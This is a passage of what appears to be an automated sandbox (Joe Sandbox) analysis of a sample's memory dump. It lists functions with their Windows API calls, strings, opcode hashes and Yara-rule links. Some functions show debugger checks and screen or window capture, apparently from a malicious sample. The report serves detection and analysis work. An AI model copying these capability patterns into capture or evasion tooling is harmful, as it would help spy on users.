GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 06D7FDF9
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 06D7FE43
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 06D7FF09

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: b6935a06d26824675bb4a6d2810916040583dd1dcafd9344223db81c643a369a
Instruction ID: e1a1ac4398d042cb6dc64bcdd0c7b0f70d7ae8f426ba3bfc16b3c8291f145837
Opcode Fuzzy Hash: b6935a06d26824675bb4a6d2810916040583dd1dcafd9344223db81c643a369a
Instruction Fuzzy Hash: 4861C371A1020B9FEBB89F28CC85BBAB7A8FF05300F1041B9E915C6685FB34D995CB51

Function 06D61780 Relevance: 4.7, APIs: 3, Instructions: 183threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 06D6184D
IsDebuggerPresent.KERNEL32 ref: 06D61984
OutputDebugStringW.KERNEL32(00000000), ref: 06D61A10

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: CurrentDebugDebuggerOutputPresentStringThread
String ID:
API String ID: 4268342597-0
Opcode ID: ef995668546134a1308ac9f4605f943f54443ad05f1f23d3b648b76d917ae1b2
Instruction ID: 8620e4f439488dcc5e0e2860da21614be25eb5313ce08f754f6c3e3a569c33da
Opcode Fuzzy Hash: ef995668546134a1308ac9f4605f943f54443ad05f1f23d3b648b76d917ae1b2
Instruction Fuzzy Hash: 92713A70D042599FEB60CF69CC44BE9B7F5AB09308F0841E9E569E32A0D7749AC4CF60

Function 06D6FC07 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 06D6FCFF
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 06D6FD09
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 06D6FD16

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: ac682e4879b7e3bc1be0f348f4dc64ed173fd337914f7260884c254fed1921c1
Instruction ID: 9de52410cabe4926162aa4c3d74793574066515912d750b1739606d2f0bee507
Opcode Fuzzy Hash: ac682e4879b7e3bc1be0f348f4dc64ed173fd337914f7260884c254fed1921c1
Instruction Fuzzy Hash: 4B31D275D1122CABCB61DF29D9887DDBBB8FF08310F5045EAE51CA6250E7349B818F54

Function 06D6537F Relevance: 3.0, APIs: 2, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,?,06D87FEE,000000FF,?,06D64F08,?,00000000,00000000,?,06D294F4), ref: 06D653B7
GetSystemTimeAsFileTime.KERNEL32(?,AC55FB4A,?,?,06D87FEE,000000FF,?,06D64F08,?,00000000,00000000,?,06D294F4), ref: 06D653BB

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID:
API String ID: 743729956-0
Opcode ID: b311d1672812dcb1b197c660858c83dd3d44229f5ad0495d23e58b9b1183c95a
Instruction ID: d7bf1d2b1501a4e28c07a01294c645bf21b38fa1e34e21a9adffef3179cec819
Opcode Fuzzy Hash: b311d1672812dcb1b197c660858c83dd3d44229f5ad0495d23e58b9b1183c95a
Instruction Fuzzy Hash: F1F03032944958EFCB119F59E854B6DB7B9F748F10F10412AE9129B780DB75A900CAD0

Function 06D576E0 Relevance: 2.5, APIs: 2, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,06D57864,?,06D57864,00000000,?,00000007,00000000,00000045,00000000,00006C21,00000000), ref: 06D576E9
HeapFree.KERNEL32(00000000,?,06D57864,00000000,?,00000007,00000000,00000045,00000000,00006C21,00000000), ref: 06D576F0

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: a9e80119e55dd72552313f2848a662e4a8d170d1fe25e15293453713b7ec718a
Instruction ID: cfcccaebdc9804e140dea21ad47a30021b4c74937d0600ac1e1a6b52153a48f7
Opcode Fuzzy Hash: a9e80119e55dd72552313f2848a662e4a8d170d1fe25e15293453713b7ec718a
Instruction Fuzzy Hash: E9C04C7115420CAFD7005AD9A81DAA5375DA708A05F000000FB4D8A240C664A4408665

Function 06D7C010 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,06D7C00B,?,?,00000008,?,?,06D8606F,00000000), ref: 06D7C23D

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: ff18e3bcdc2a7aa07f4615982b753072f7ad2fa8d7e61066557038ea017651fc
Instruction ID: 88e2b3e65d2ba9d311fd0bd48ec4b5acf50c2002599f46e2d6797eab51bb8294
Opcode Fuzzy Hash: ff18e3bcdc2a7aa07f4615982b753072f7ad2fa8d7e61066557038ea017651fc
Instruction Fuzzy Hash: 73B15D31620608DFE769CF28C49AB657BE0FF45364F258658E8DACF2A1D335E981CB41

Function 06D65D6C Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 06D65D82

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: d807a85ac5b71f7453be500e79601d31e12919c6778a3fb159f68eb36473a726
Instruction ID: eff6c2861190d0f1fd1a95d25f9e19f612211c116974cc9144848b06f5e250bc
Opcode Fuzzy Hash: d807a85ac5b71f7453be500e79601d31e12919c6778a3fb159f68eb36473a726
Instruction Fuzzy Hash: 485179B1E122198FEB24CF56E8957AABBF1FB48300F14846AE505EB341D775D940CFA0

Function 06D7CCFD Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 601de9629e01fecb7ddb55189691a83bacd7c8db7cc5b3554b0d9ddee01bce1f
Instruction ID: 81ddd483b3293d438d570edbbd4c8171a10509390d2a9f2b24bceaa1fb9063cb
Opcode Fuzzy Hash: 601de9629e01fecb7ddb55189691a83bacd7c8db7cc5b3554b0d9ddee01bce1f
Instruction Fuzzy Hash: 414191B5C1521CAEDB60DF69CC89AAABBB9EB45200F1442DDE41DD3200EA349E858F60

Function 06D7FFF8 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 06D747E3: GetLastError.KERNEL32(00000000,06D6FE22,06D7A074), ref: 06D747E7
Part of subcall function 06D747E3: SetLastError.KERNEL32(00000000,00000000,00000000,0000000B,000000FF), ref: 06D74889

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 06D8004C

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 866258257173f6835c35afbe7ca7b02625040dd42320eb1e41a1c1cbd17dcf2a
Instruction ID: 94638d372d3135937d0dd98709a8a6695389bf2131239e56f1956c2c69278042
Opcode Fuzzy Hash: 866258257173f6835c35afbe7ca7b02625040dd42320eb1e41a1c1cbd17dcf2a
Instruction Fuzzy Hash: 5A21C531A11206AFEBA8AF26DC45F7A73ACEF04310F00007AE915D6141EB74E944CBA1

Function 06D7FC7F Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 06D747E3: GetLastError.KERNEL32(00000000,06D6FE22,06D7A074), ref: 06D747E7
Part of subcall function 06D747E3: SetLastError.KERNEL32(00000000,00000000,00000000,0000000B,000000FF), ref: 06D74889

EnumSystemLocalesW.KERNEL32(06D7FDA5,00000001,00000000,?,-00000050,?,06D803D9,00000000,?,?,?,00000055,?), ref: 06D7FCF1

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: cdd3f3c7399edd66fc76ade5f648d90c6adc87ad19c8e4a77a38176d9551de26
Instruction ID: f6298186db70f7b5667a671452368f87147c561fbc84f52e6830ccc9c3d09620
Opcode Fuzzy Hash: cdd3f3c7399edd66fc76ade5f648d90c6adc87ad19c8e4a77a38176d9551de26
Instruction Fuzzy Hash: 9C11483B6107015FDB289F39C8E16BAB792FF80329B14442CD9868BB40E771B843C740

Function 06D80227 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 06D747E3: GetLastError.KERNEL32(00000000,06D6FE22,06D7A074), ref: 06D747E7
Part of subcall function 06D747E3: SetLastError.KERNEL32(00000000,00000000,00000000,0000000B,000000FF), ref: 06D74889

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,06D7FFC1,00000000,00000000,?), ref: 06D80253

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: cf1ba44037ecd55e7460465a79e9a70798f3be2b31df6ccbb59793642a63f450
Instruction ID: de1b1698c50ca675a864f36034c9de48e4c9ded638778469eed4ecd0fa23cef0
Opcode Fuzzy Hash: cf1ba44037ecd55e7460465a79e9a70798f3be2b31df6ccbb59793642a63f450
Instruction Fuzzy Hash: 8601D636A10116AFDB78AB258C0DBBF3768EB40754F154428DC56A7280EAB8EE45C6E0

Function 06D7FD1A Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 06D747E3: GetLastError.KERNEL32(00000000,06D6FE22,06D7A074), ref: 06D747E7
Part of subcall function 06D747E3: SetLastError.KERNEL32(00000000,00000000,00000000,0000000B,000000FF), ref: 06D74889

EnumSystemLocalesW.KERNEL32(06D7FFF8,00000001,00000006,?,-00000050,?,06D803A1,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 06D7FD64

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 1424fd2b8cace29fb2abb095e52513bed4305d339f1ac44c652e6b38d2656fd5
Instruction ID: 76f55327865e349c5bfd71ecda3d5ff89c78b8036291d79a7ecafc60cd21b027
Opcode Fuzzy Hash: 1424fd2b8cace29fb2abb095e52513bed4305d339f1ac44c652e6b38d2656fd5
Instruction Fuzzy Hash: 9EF046366043045FCB345F38DC84A7A7B91FFC2368F04442CFA414B690E6B19842C760

Function 06D74ADB Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 06D71302: EnterCriticalSection.KERNEL32(-00044230,?,06D7330C,00000000,06D951A0,0000000C,06D732D4,?,?,06D74415,?,?,06D74981,00000001,00000364,06D55FE8), ref: 06D71311

EnumSystemLocalesW.KERNEL32(06D74ACE,00000001,06D95310,0000000C,06D74F43,00000000), ref: 06D74B13

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 2fe96322917a42fa72b4a2c5804117b97109363eb9e1df376c1f5fd120f00c6c
Instruction ID: 78a0cd52fd8e2a2cbd232c852d1000a000bfdd3336536e0f36f992194e0d035c
Opcode Fuzzy Hash: 2fe96322917a42fa72b4a2c5804117b97109363eb9e1df376c1f5fd120f00c6c
Instruction Fuzzy Hash: 56F04972A14204EFDB81EFA9E842BAD77F1EB49721F00816AE525DB390D77599008F61

Function 06D7FC34 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 06D747E3: GetLastError.KERNEL32(00000000,06D6FE22,06D7A074), ref: 06D747E7
Part of subcall function 06D747E3: SetLastError.KERNEL32(00000000,00000000,00000000,0000000B,000000FF), ref: 06D74889

EnumSystemLocalesW.KERNEL32(06D7FB8D,00000001,00000006,?,?,06D803FB,-00000050,?,?,?,00000055,?,-00000050,?,?,00000006), ref: 06D7FC6B

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 8ce74fdac33208e51fbb510694642cb5b277804251aa780183ac68892d629628
Instruction ID: 480416cfbe713d62379ae67cc744b2c1029fa7b3553cdbaaa511cec5b03cbd7b
Opcode Fuzzy Hash: 8ce74fdac33208e51fbb510694642cb5b277804251aa780183ac68892d629628
Instruction Fuzzy Hash: 8EF0AB3A70020857CB149F39C898B7A7F95EFC1720F0A005CEE068B240D271D843C7E0

Function 06D75047 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,06D76917,?,20001004,00000000,00000002,?,?,06D75F09), ref: 06D7507B

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: dd3c305b5d385ae3d6d6d0e8136397e344e86b93e80f9c05f91301c1ef832401
Instruction ID: b7a987a9d5d3dc9801ee4329d0391a363c3944e240bb554c5f95ec298b8da414
Opcode Fuzzy Hash: dd3c305b5d385ae3d6d6d0e8136397e344e86b93e80f9c05f91301c1ef832401
Instruction Fuzzy Hash: 1DE01A32500128BBCF522FA5EC08FAE3E2AEF44761F018010FD5565250DB3299219AE6

Function 06D6E999 Relevance: .4, Instructions: 385COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6fefb02da6dfc9c423efd3ed3efe3b9ae0ac334a405458ab61a89eb0af005ef
Instruction ID: f3fab0d4664fa9e1efc505aadf8e5e37a24a554306083ffe6e4136f769f7f45b
Opcode Fuzzy Hash: e6fefb02da6dfc9c423efd3ed3efe3b9ae0ac334a405458ab61a89eb0af005ef
Instruction Fuzzy Hash: 73D1C038E187068FDBA4CF6AC584A7ABBB1FF89310B144619F4969B790D330E946CF50

Function 06D6E2DC Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d959e66ec05cecab70cf6ee13a42e7f62f6251c82dd5271e5dc9b2a0008425
Instruction ID: a7dde4b98f4e42ee88e9564e2c4bef731a0232f5ad46602b5cfd42c9006c60df
Opcode Fuzzy Hash: a3d959e66ec05cecab70cf6ee13a42e7f62f6251c82dd5271e5dc9b2a0008425
Instruction Fuzzy Hash: 06C1E278D08606CFDBA4CF7AC98467ABBB1FF05300F084A19F496976A1D770E905CBA1

Function 06D6E63B Relevance: .3, Instructions: 328COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cce3b45bc8830325cc35a652f3e73945e01ce56d764d8b3b7d2e261c762acf4
Instruction ID: 5beb5e2f4884488d0cfff9e5b1ef95988a78f57b6a92f3a037fb24c3d568f8db
Opcode Fuzzy Hash: 8cce3b45bc8830325cc35a652f3e73945e01ce56d764d8b3b7d2e261c762acf4
Instruction Fuzzy Hash: CEB1E438E0860A8FDBF4CF6AC9846BEBBF1EF44200B54091DF592A7691D731E945CB91

Function 06D7F43E Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 57559ef6e4baa316bce43a6d93dde2224a2c629dc02ff796b4e1af617dfba567
Instruction ID: 542fdc11d2feb5e1fa636e005adac114ba28a7f0757bf9356c6c87d30c420b1c
Opcode Fuzzy Hash: 57559ef6e4baa316bce43a6d93dde2224a2c629dc02ff796b4e1af617dfba567
Instruction Fuzzy Hash: 86B126359107068FDBB89F24CC91ABBB3E9EF04308F44486ED983C6590FA75E681CB52

Function 06D6DF9A Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c5bbf0f52fa7d6622c0496709cae93873e05b14368557d1bc912a01af55dfc8
Instruction ID: 565f3116d8e1636161e9bd33250467e14327ea671cf0aaadaedadc8ddd5cc6b8
Opcode Fuzzy Hash: 6c5bbf0f52fa7d6622c0496709cae93873e05b14368557d1bc912a01af55dfc8
Instruction Fuzzy Hash: 94B1A178E0860B8FDBF48F6BC954ABEBBB6EF04600F140619F4A297690CB35D645CB51

Function 06D67880 Relevance: .1, Instructions: 76COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 035e7f61b2458585862a13a3845753e96869af56b43e32fd95655c4f52a6575e
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: A1112B77E4004A83D6D48B7FC8B45B6E7D5EBC922C72D437BF0414B768D622D555D600

Function 06D5CF60 Relevance: 29.9, APIs: 2, Strings: 15, Instructions: 198windowthreadCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,00000100,00000000,?,?,00000000), ref: 06D5D07E
GetCurrentThreadId.KERNEL32 ref: 06D5D0ED

Strings

[%hs], xrefs: 06D5D190
ReturnNt, xrefs: 06D5CFF8
Exception, xrefs: 06D5CFE8
%hs(%d) tid(%x) %08X %ws, xrefs: 06D5D105
LogHr, xrefs: 06D5D006, 06D5D104
FailFast, xrefs: 06D5D015
[%hs(%hs)], xrefs: 06D5D177
CallContext:[%hs] , xrefs: 06D5D15D
, xrefs: 06D5D12F
%hs!%p: , xrefs: 06D5D0B6
Msg:[%ws] , xrefs: 06D5D146
LogNt, xrefs: 06D5D00B
%hs(%u)\%hs!%p: , xrefs: 06D5D0A0
(caller: %p) , xrefs: 06D5D0D8
ReturnHr, xrefs: 06D5CFF3

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: CurrentFormatMessageThread
String ID: $%hs!%p: $%hs(%d) tid(%x) %08X %ws$%hs(%u)\%hs!%p: $(caller: %p) $CallContext:[%hs] $Exception$FailFast$LogHr$LogNt$Msg:[%ws] $ReturnHr$ReturnNt$[%hs(%hs)]$[%hs]
API String ID: 2411632146-1363043106
Opcode ID: 17853572325aba2a8d7d773a620f7ac45af5dcaa11315d32407dfbe9d5648235
Instruction ID: 698263f1747bd2d5e102a782fd12907eb9be2b84c4eaea17142ff65f5c2cb85d
Opcode Fuzzy Hash: 17853572325aba2a8d7d773a620f7ac45af5dcaa11315d32407dfbe9d5648235
Instruction Fuzzy Hash: A661F174E4030AAFEFA09B25CC49F67B7BAEF54700F04055DAD5A93A80E670E944CBB4

Function 06D2D950 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 132memorywindowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 06D2D958
CreateCompatibleDC.GDI32(?), ref: 06D2D965
CreateDIBSection.GDI32(?,00000028,00000000,00000000,00000000,00000000), ref: 06D2D9C5
SelectObject.GDI32(?,?), ref: 06D2D9F5
BitBlt.GDI32(?,00000000,00000000,?,00000000,?,00000000,00000000,00CC0020), ref: 06D2DA18
ReleaseDC.USER32(00000000,?), ref: 06D2DA24
GetProcessHeap.KERNEL32(00000000,?), ref: 06D2DA38
HeapAlloc.KERNEL32(00000000), ref: 06D2DA3F
GetProcessHeap.KERNEL32 ref: 06D2DA54
HeapSize.KERNEL32(?,00000000,00000000), ref: 06D2DA67
GetProcessHeap.KERNEL32 ref: 06D2DA80
HeapReAlloc.KERNEL32(?,00000000,?,?), ref: 06D2DA97
DeleteObject.GDI32(?), ref: 06D2DABC
DeleteDC.GDI32(?), ref: 06D2DAC6

Strings

(, xrefs: 06D2D97E

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Heap$Process$AllocCreateDeleteObject$CompatibleReleaseSectionSelectSize
String ID: (
API String ID: 119000666-3887548279
Opcode ID: fc3c5196827611fefe2f9f0f36aa18490c1d92a128c33530156f1d582950017e
Instruction ID: ea84339089cfe6ae64497568e8608ee70da2161d781fe2161780cc14ef60e94a
Opcode Fuzzy Hash: fc3c5196827611fefe2f9f0f36aa18490c1d92a128c33530156f1d582950017e
Instruction Fuzzy Hash: 1651C375A10208AFDB04DFE9D999FEEBBB9EF48704F104158EA05AB380D774A940CB64

Function 06D62770 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 212libraryloaderCOMMON

Download Yara Rule

APIs

RoGetActivationFactory.API-MS-WIN-CORE-WINRT-L1-1-0(?,00000001,AC55FB4A,AC55FB4A,?,00000000,00000044,?,?,?,?,?,?,06D87EE0,000000FF), ref: 06D627CB
LoadLibraryExW.KERNEL32(combase.dll,00000000,00001000,?,00000001,AC55FB4A,AC55FB4A,?,00000000,00000044,?,?,?,?,?,?), ref: 06D627E6
GetProcAddress.KERNEL32(00000000,CoIncrementMTAUsage), ref: 06D627F1

Strings

DllGetActivationFactory, xrefs: 06D6293A
combase.dll, xrefs: 06D627E1
CoIncrementMTAUsage, xrefs: 06D627EB

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: ActivationAddressFactoryLibraryLoadProc
String ID: CoIncrementMTAUsage$DllGetActivationFactory$combase.dll
API String ID: 935683589-2993125632
Opcode ID: 6ce4006595463b59ad1685f5c96af2a17a41cd3f9dc439e3eda952beaa21442f
Instruction ID: f13fb8926ede8eb9774493887d882ce6bc6043ad03583d6b4b7ce9f8a75686f1
Opcode Fuzzy Hash: 6ce4006595463b59ad1685f5c96af2a17a41cd3f9dc439e3eda952beaa21442f
Instruction Fuzzy Hash: 6F714C71D40215AFDFA5EFA5CC44BEEBBB8EF58314F044529F921A7290DB30AA45CB60

Function 06D4BCB0 Relevance: 21.3, APIs: 14, Instructions: 294threadwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 06D4BCDB
GetCurrentThreadId.KERNEL32 ref: 06D4BDBB
GetThreadDesktop.USER32(00000000), ref: 06D4BDC2
GetWindowTextA.USER32(?,?,00000104), ref: 06D4BE0C
GetAncestor.USER32(?,00000002), ref: 06D4C032
MoveWindow.USER32(?,0000000A,0000000A,0000000A,0000000A,00000001), ref: 06D4C057
GetWindowRect.USER32(?,0000000A), ref: 06D4C065
CreateCompatibleDC.GDI32(?), ref: 06D4C06F
CreateCompatibleBitmap.GDI32(?,?,?), ref: 06D4C08A
SelectObject.GDI32(?,?), ref: 06D4C09B
PrintWindow.USER32(?,?,00000000), ref: 06D4C0AB
BitBlt.GDI32(?,?,?,?,?,?,00000000,00000000,00CC0020), ref: 06D4C0DC
DeleteObject.GDI32(?), ref: 06D4C0ED
DeleteDC.GDI32(?), ref: 06D4C0F7

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Window$CompatibleCreateDeleteObjectRectThread$AncestorBitmapCurrentDesktopMovePrintSelectText
String ID:
API String ID: 1231464646-0
Opcode ID: 3d72ca0d25c938bf48618330e070d33b4ea230af4ce2502d288fc9100af4dabc
Instruction ID: 16135ddc59942bd28e7c6a32f908bd0924117a446880a0739c437af832ca1639
Opcode Fuzzy Hash: 3d72ca0d25c938bf48618330e070d33b4ea230af4ce2502d288fc9100af4dabc
Instruction Fuzzy Hash: 78E13875D042589FCB16CFA8D884AEEFBB6BF58300F148289D94AB7345D7309A85CF61

Function 06D80E0B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 06D80AC4: CreateFileW.KERNEL32(?,00000000,?,06D80EB4,?,?,00000000,?,06D80EB4,?,0000000C), ref: 06D80AE1

GetLastError.KERNEL32 ref: 06D80F1F
__dosmaperr.LIBCMT ref: 06D80F26
GetFileType.KERNEL32(00000000), ref: 06D80F32
GetLastError.KERNEL32 ref: 06D80F3C
__dosmaperr.LIBCMT ref: 06D80F45
CloseHandle.KERNEL32(00000000), ref: 06D80F65
CloseHandle.KERNEL32(06D770F0), ref: 06D810B2
GetLastError.KERNEL32 ref: 06D810E4
__dosmaperr.LIBCMT ref: 06D810EB

Strings

H, xrefs: 06D81070

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
